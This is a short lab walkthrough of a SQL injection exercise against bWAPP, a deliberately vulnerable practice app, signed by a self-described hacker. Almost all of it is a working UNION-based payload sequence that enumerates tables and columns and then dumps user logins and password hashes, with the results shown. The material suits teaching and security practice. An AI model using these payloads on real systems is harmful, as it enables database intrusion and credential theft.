bWAPP Lesson 2- SQL Injection (POST/Search)

<===============Hacker zurael sTz===============>
=================twitter=============================
https://twitter.com/zurael_stz
=================facebook============================
https://www.facebook.com/sTzisrael/
=====================================================
=================telegram============================
https://telegram.me/joinchat/BL8GnT_yQscC-6gBMuCW_w
=====================================================
<===============Hacker zurael sTz===============>

bWAPP Lesson 2- SQL Injection (POST/Search)
youtube : https://youtu.be/2Ma2kss9pAY

'order by 9-- -  : error
'order by 8-- -  : error
'order by 7-- -  : no error

'union select 1,2,3,4,5,6,7-- - (Columns vulnerable) 2,4,5

'union select 1,2,3,4,table_name,6,7 from information_schema.tables-- -
(all)
table : movies
table : blog
table : users

'union select 1,2,3,4,group_concat(table_name),6,7 from information_schema.tables where table_schema=database()-- -

 table : blog,heroes,movies,users,visitors

'union select 1,2,3,4,group_concat(column_name),6,7 from information_schema.columns where table_name="users"-- -

Contents table: users
id,login,password,email,secret,activation_code,activated,reset_code,admin,user_id,first_name,last_name,user,password

'union select 1,2,3,4,group_concat(login,0x2a,password),6,7 from users-- -

A.I.M.*6885858486f31043e5839c735d99457f045affd0,bee*6885858486f31043e5839c735d99457f045affd0
{
1:
login : A.I.M
password : 6885858486f31043e5839c735d99457f045affd0
2:
login : bee
password : 6885858486f31043e5839c735d99457f045affd0
}

0x2a = *

#zurael_sTz